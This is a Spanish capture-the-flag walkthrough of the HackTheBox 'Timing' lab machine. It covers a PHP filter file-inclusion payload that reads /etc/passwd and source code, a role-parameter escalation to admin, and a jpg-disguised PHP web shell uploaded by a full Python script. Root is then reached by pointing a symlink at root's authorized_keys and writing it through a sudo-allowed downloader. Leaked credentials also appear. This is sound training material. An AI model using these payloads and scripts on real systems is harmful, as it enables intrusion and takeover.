Timing es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Timing 10.10.11.135 a /etc/hosts como timing.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
# Nmap 7.92 scan initiated Sat Jan 15 10:31:30 2022 as: nmap -sV -sC -oA enumeration/nmap 10.10.11.135 Nmap scan report for 10.10.11.135 Host is up (0.11s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA) | 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA) |_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-title: Simple WebApp |_Requested resource was ./login.php | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jan 15 10:32:11 2022 -- 1 IP address (1 host up) scanned in 41.35 seconds |
Encontramos un puerto 22 para el cual no disponemos de credenciales y un portal web en el puerto 80 así que vamos a este segundo.
Enumeración
Revisamos el portal web existente y vemos la siguiente página de login
No parece que haya mucho más al respecto, y después de algún intento fallido de sqli procedemos a enumerar los directorios y ficheros existentes con gobuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
$ gobuster dir -u http://timing.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x txt,php =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://timing.htb/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: txt,php [+] Timeout: 10s =============================================================== 2022/01/15 10:34:50 Starting gobuster in directory enumeration mode =============================================================== /images (Status: 301) [Size: 309] [--> http://timing.htb/images/] /profile.php (Status: 302) [Size: 0] [--> ./login.php] /index.php (Status: 302) [Size: 0] [--> ./login.php] /login.php (Status: 200) [Size: 5609] /image.php (Status: 200) [Size: 0] /header.php (Status: 302) [Size: 0] [--> ./login.php] /footer.php (Status: 200) [Size: 3937] /upload.php (Status: 302) [Size: 0] [--> ./login.php] /css (Status: 301) [Size: 306] [--> http://timing.htb/css/] /js (Status: 301) [Size: 305] [--> http://timing.htb/js/] /logout.php (Status: 302) [Size: 0] [--> ./login.php] [!] Keyboard interrupt detected, terminating. =============================================================== 2022/01/15 10:37:54 Finished =============================================================== |
Encontramos varias páginas asi que vamos a tratar de revisar aquellas que no nos redireccionan a la pantalla de login.
Revisamos la página con la uri /images la cual nos devuelve un error 403
Revisamos también la página de image.php y esta nos devuelve una página en blanco, lo que nos da que pensar, hacemos alguna prueba de lfi por parámetro pero parece que no damos con la tecla así que vamos a tratar de averiguar que parámetros tiene con wfuzz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
$ wfuzz -u "http://timing.htb/image.php?FUZZ=/etc/passwd" -w /home/asdf/github/SecLists/Discovery/Web-Content/burp-parameter-names.txt -t 50 --hh 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://timing.htb/image.php?FUZZ=/etc/passwd Total requests: 2588 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000360: 200 0 L 3 W 25 Ch "img" Total time: 0 Processed Requests: 2588 Filtered Requests: 2587 Requests/sec.: 0 |
Y obtenemos el parámetro img, así que vamos a tratar de obtener el fichero /etc/passwd y nos da un mensaje que nos confirma que aqui hay algo
Pero parece que esta no es la forma de conseguirlo, así que vamos a utilizar los filtros de php para codificar y decodificar en base64 y así verificar si realmente hay posibilidad de hacer un lfi.
Así que lanzamos el siguiente payload
1 |
php://filter/convert.base64-decoder/resource=/etc/passwd |
Y ahora sí que conseguimos el fichero passwd y con ello el listado de usuarios del equipo
Así que visto que es posible realizar el LFI vamos a tratar de obtener los ficheros php que vimos anteriormente, empezaremos descargando el fichero de login
1 |
$ curl http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource=login.php -s | base64 -d > login.php |
Y vemos que hace un include a un fichero de base de datos
1 |
include "db_conn.php"; |
Descargamos el mismo y vemos unas credenciales de MySQL
1 2 |
<?php $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd'); |
Probamos las mismas pero parece que no valen para el usuario aaron, pero después de dar alguna vueltecita probamos el acceso y conseguimos acceder al portal con las siguientes credenciales
1 |
aaron:aaron |
Y viendo la siguiente pantalla
Hemos conseguido acceder al portal pero nuestro id de usuario es el 2 y necesitaríamos acceder con el rol con id 1, en otras palabras, el usuario admin de la aplicación, así que continuaremos nuestra investigación.
Descargaremos el fichero de upload.php y en el mismo vemos un fichero nuevo
1 |
include("admin_auth_check.php"); |
Descargamos el nuevo fichero y observamos que apunta a otro fichero
1 2 3 4 5 6 7 8 9 10 11 |
<?php include_once "auth_check.php"; if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) { echo "No permission to access this panel!"; header('Location: ./index.php'); die(); } ?> |
Así que descargamos el fichero auth_check.php, pero en este parece que no vemos nada así que seguimos.
Accedemos en el portal a la página de Edit profile que luce el siguiente aspecto
Así que vamos a analizar el fichero de profile.php que vimos anteriormente y observamos que apunta a un fichero js situado en js/profile.js que nos da más pistas
1 2 3 4 5 6 7 8 9 10 11 12 |
function updateProfile() { var xml = new XMLHttpRequest(); xml.onreadystatechange = function () { if (xml.readyState == 4 && xml.status == 200) { document.getElementById("alert-profile-update").style.display = "block" } }; xml.open("POST", "profile_update.php", true); xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value); } |
Vemos otro fichero más, profile_update.php, nos descargamos el mismo y en este vemos un trozo en concreto que nos da una pista más
1 2 3 4 5 6 7 8 9 10 |
$firstName = $_POST['firstName']; $lastName = $_POST['lastName']; $email = $_POST['email']; $company = $_POST['company']; $role = $user['role']; if (isset($_POST['role'])) { $role = $_POST['role']; $_SESSION['role'] = $role; } |
Existe un parámetro más que no habíamos visto, role, así que vamos a interceptar la petición de edición del perfil con burp suite para añadir el parámetro
Recargamos la página y vemos como ahora hay un elemento extra en el menú llamado Admin panel
Y si accedemos a dicho panel vemos una página de subida de ficheros
Descargamos y revisamos el código del fichero php de upload y vemos varias cosas interesantes.
En primer lugar vemos el directorio donde se guardan los ficheros
1 |
$upload_dir = "images/uploads/"; |
Vemos también el método de renombrado que aplica al subir un fichero
1 2 3 4 5 6 |
$file_hash = uniqid(); $file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]); $target_file = $upload_dir . $file_name; $error = ""; $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); |
Y vemos que como única comprobación que realiza es que el fichero sea jpg
1 2 3 |
if ($imageFileType != "jpg") { $error = "This extension is not allowed."; } |
Visto el código el proceso quedaría de la siguiente forma:
- Comprueba si el fichero es jpg o no
- Crea un nombre de archivo con un hash md5 que se compone de los siguientes elementos
- La cadena ‘$file_hash’
- El timestamp actual
- El carácter _
- El nombre del fichero
Dicho esto generaremos un fichero jpg con el siguiente contenido
1 |
<?php system($_GET['cmd']); ?> |
Y para la subida del fichero, en nuestro caso, hemos hecho un script que automatice todo el proceso
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
$ cat getfile.py import sys import subprocess import requests session = requests.Session() file_target = [] valid_file = [] host = "http://timing.htb" def get_admin_session(): # create session get = {"login":"true"} post = {"user":"aaron","password":"aaron"} session.post("http://timing.htb/login.php", data=post, params=get) # and escalate to admin post = {"firstName":"test","lastName":"test","company":"test","email":"test","role":"1"} session.post(host + "/profile_update.php", data=post) def upload_file(): # upload file payload = [('fileToUpload', ('revshell.jpg', "<?php system($_GET['cmd']); ?>", 'image/jpeg'))] session.post(host + "/upload.php", files=payload) def check_file(): # check file response code for r in file_target: url = host + "/images/uploads/"+r response = session.get(url) if response.status_code != 404: return True def generate_file(): while True: command = "/usr/bin/php -r \"\$file_hash=uniqid(); \$file_name=md5('\$file_hash' . time()) . '_' . basename('revshell.jpg'); echo \$file_name;\"" proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE) hashv = proc.stdout.read().decode("utf-8") hashv = hashv.replace('\n', '') file_target.append(hashv) upload_file() if check_file(): valid_file.append(hashv) return def send_command(cmd): filename = valid_file[0] params_get = {"cmd":cmd} response = session.get(host + "/image.php?img=images/uploads/"+filename, params=params_get) decoded = response.content.decode("utf-8") print(decoded) def main(): get_admin_session() generate_file() print("URL = " + host + "/images/uploads/"+valid_file[0]) while True: prompt = input("www-data@timing.htb$ ") if prompt == "exit": return False send_command(prompt) main() |
En el mismo script nos encargamos de abrir la sesión, escalar al usuario administrador, subir el fichero y encontrar el mismo.
Cabe destacar que para poder hacer funcionar el proceso correctamente y conseguir calcular el hash correcto hay que revisar el tiempo de la máquina, el cual está en UTC y está adelantado unos 4 minutos aproximadamente, así que es necesario modificar el tiempo de nuestra máquina para no volvernos locos.
Para ello cambiamos la timezone si estamos en una diferente
1 |
sudo timedatectl set-timezone GMT |
Y ajustamos la hora exacta a la del servidor de la máquina Timing
1 |
sudo date --set $(curl http://timing.htb -I -s| grep Date | cut -d " " -f 6) |
Una vez hecho esto, ejecutamos el script y conseguimos una shell con el usuario www-data
1 2 3 4 5 6 |
$ python3 getfile.py URL = http://timing.htb/images/uploads/72f8a80f78fdc46a057d5cf721df31f4_revshell.jpg www-data@timing.htb$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@timing.htb$ |
Desde aqui no tenemos una shell apropiada para hacer una enumeración extensa, así que buscamos un poco por la máquina y encontramos un backup en la ruta /opt
1 2 3 |
www-data@timing.htb$ ls -l /opt total 616 -rw-r--r-- 1 root root 627851 Jul 20 22:36 source-files-backup.zip |
Lo copiamos a la ruta del servidor web para poder descargarlo y vemos el siguiente contenido en el mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
$ ls -la backup/ total 76 drwxr-xr-x. 6 asdf asdf 4096 jul 21 00:34 . drwxr-xr-x. 3 asdf asdf 4096 ene 15 13:13 .. -rw-r--r--. 1 asdf asdf 200 jul 21 00:34 admin_auth_check.php -rw-r--r--. 1 asdf asdf 373 jul 21 00:34 auth_check.php -rw-r--r--. 1 asdf asdf 1268 jul 21 00:34 avatar_uploader.php drwxr-xr-x. 2 asdf asdf 4096 jul 21 00:34 css -rw-r--r--. 1 asdf asdf 92 jul 21 00:34 db_conn.php -rw-r--r--. 1 asdf asdf 3937 jul 21 00:34 footer.php drwxr-xr-x. 8 asdf asdf 4096 jul 21 00:35 .git -rw-r--r--. 1 asdf asdf 1498 jul 21 00:34 header.php -rw-r--r--. 1 asdf asdf 507 jul 21 00:34 image.php drwxr-xr-x. 3 asdf asdf 4096 jul 21 00:34 images -rw-r--r--. 1 asdf asdf 188 jul 21 00:34 index.php drwxr-xr-x. 2 asdf asdf 4096 jul 21 00:34 js -rw-r--r--. 1 asdf asdf 2074 jul 21 00:34 login.php -rw-r--r--. 1 asdf asdf 113 jul 21 00:34 logout.php -rw-r--r--. 1 asdf asdf 3041 jul 21 00:34 profile.php -rw-r--r--. 1 asdf asdf 1740 jul 21 00:34 profile_update.php -rw-r--r--. 1 asdf asdf 984 jul 21 00:34 upload.php |
En el mismo hay un directorio .git así que entramos y revisamos los últimos cambios aplicados
1 2 3 4 5 6 7 8 9 10 11 12 |
$ git log commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master) Author: grumpy <grumpy@localhost.com> Date: Tue Jul 20 22:34:13 2021 +0000 db_conn updated commit e4e214696159a25c69812571c8214d2bf8736a3f Author: grumpy <grumpy@localhost.com> Date: Tue Jul 20 22:33:54 2021 +0000 init |
Y vemos un commit muy interesante donde indica que se ha actualizado el fichero db_conn
Así que vamos a ver el contenido de dicho commit y vemos que las credenciales del fichero son diferentes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ git show 16de2698b5b122c93461298eab730d00273bd83e commit 16de2698b5b122c93461298eab730d00273bd83e (HEAD -> master) Author: grumpy <grumpy@localhost.com> Date: Tue Jul 20 22:34:13 2021 +0000 db_conn updated diff --git a/db_conn.php b/db_conn.php index f1c9217..5397ffa 100644 --- a/db_conn.php +++ b/db_conn.php @@ -1,2 +1,2 @@ <?php -$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd'); +$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd'); |
Obteniendo la flag de user
Así que utilizamos las credenciales obtenidas del commit para acceder con el usuario aaron y conseguir la flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ ssh aaron@timing.htb The authenticity of host 'timing.htb (10.10.11.135)' can't be established. ECDSA key fingerprint is SHA256:w5P4pFdNqpvCcxxisM5OCJz7a6chyDUrd1JQ14k5smY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'timing.htb,10.10.11.135' (ECDSA) to the list of known hosts. aaron@timing.htb's password: Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat Jan 15 12:23:55 UTC 2022 System load: 0.05 Processes: 173 Usage of /: 49.3% of 4.85GB Users logged in: 0 Memory usage: 11% IP address for eth0: 10.10.11.135 Swap usage: 0% 8 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable aaron@timing:~$ id uid=1000(aaron) gid=1000(aaron) groups=1000(aaron) aaron@timing:~$ ls -l total 4 -rw-r----- 1 root aaron 33 Jan 15 09:33 user.txt aaron@timing:~$ cat user.txt 9xxxxxxxxxxxxxxxxxxxxxxxxxxxxx9 aaron@timing:~$ |
Escalado de privilegios
Ahora que ya estamos dentro, revisamos los permisos del usuario
1 2 3 4 5 6 7 |
aaron@timing:~$ sudo -l Matching Defaults entries for aaron on timing: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User aaron may run the following commands on timing: (ALL) NOPASSWD: /usr/bin/netutils aaron@timing:~$ |
Y observamos que tiene permisos de root para ejecutar el fichero netutils, cuyo contenido es el siguiente
1 2 3 |
aaron@timing:~$ cat /usr/bin/netutils #! /bin/bash java -jar /root/netutils.jar |
Ejecuta un fichero .jar, que vamos a probar a ver que hace y nos muestra el siguiente menú
1 2 3 4 5 6 7 |
aaron@timing:~$ sudo /usr/bin/netutils netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> |
Vamos a realizar una prueba de su funcionamiento. Creamos un fichero test en nuestra máquina y levantamos un servidor web con python y probamos
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
aaron@timing:~$ sudo /usr/bin/netutils netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> 1 Enter Url: http://10.10.14.3:8000/test.txt Initializing download: http://10.10.14.3:8000/test.txt File size: unavailable Opening output file test.txt Server unsupported, starting from scratch with one connection. Starting download Connection 0 finished Downloaded 0 byte in 0 seconds. (0.00 KB/s) |
Y vemos que ha subido el fichero a la home del usuario aaron
1 2 3 4 5 |
aaron@timing:~$ ls -l total 4 -rw-r--r-- 1 root root 0 Jan 15 12:27 test.txt -rw-r----- 1 root aaron 33 Jan 15 09:33 user.txt aaron@timing:~$ |
Visto el comportamiento de la aplicación y, como se ejecuta como root, vamos a tratar de utilizar el mismo para modificar el contenido del fichero authorized_keys de root para poder acceder con el mismo.
Generaremos una clave ssh que utilizaremos para el acceso
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ssh-keygen -t rsa -f `pwd`/root Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/asdf/current/keys/root Your public key has been saved in /home/asdf/current/keys/root.pub The key fingerprint is: SHA256:30IGgsynCVTrnIB6/AK8KXptJKRmbl2UUh3gtR/RZwg asdf@kali The key's randomart image is: +---[RSA 3072]----+ | ....oo.Eo . | | o o.+... .o o | |. o *.+... o | |o..* B .... | |o+o O S.o | |.=+... + . | |=oo+o o . | |oo.oo . | |o. . | +----[SHA256]-----+ |
Copiaremos el fichero root.pub a keys y crearemos un enlace simbólico en la home de aaron llamado keys y que apunte al fichero authorized_keys de root
1 2 |
aaron@timing:~$ ln -sfvn /root/.ssh/authorized_keys keys 'keys' -> '/root/.ssh/authorized_keys' |
Levantaremos otro servidor web con python y ejecutaremos el fichero netutils para subir nuestra clave
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
aaron@timing:~$ sudo /usr/bin/netutils netutils v0.1 Select one option: [0] FTP [1] HTTP [2] Quit Input >> 1 Enter Url: http://10.10.14.3:8000/keys Initializing download: http://10.10.14.3:8000/keys File size: 563 bytes Opening output file keys Server unsupported, starting from scratch with one connection. Starting download Downloaded 563 byte in 0 seconds. (1.83 KB/s) |
Obteniendo la flag de root
Con nuestra clave subida al fichero authorized_keys de root, nos queda acceder con dicho usuario y conseguimos nuestra flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
$ ssh -i root.pem root@timing.htb Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-147-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat Jan 15 12:37:41 UTC 2022 System load: 0.0 Processes: 178 Usage of /: 49.3% of 4.85GB Users logged in: 1 Memory usage: 11% IP address for eth0: 10.10.11.135 Swap usage: 0% 8 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Dec 7 12:08:29 2021 root@timing:~# id uid=0(root) gid=0(root) groups=0(root) root@timing:~# ls -l total 68 -rwxr-xr-x 1 root root 60008 Feb 5 2018 axel -rw-r--r-- 1 root root 1976 Sep 29 17:23 netutils.jar -rw-rw---- 1 root root 33 Jan 15 09:33 root.txt root@timing:~# cat root.txt cxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0 root@timing:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace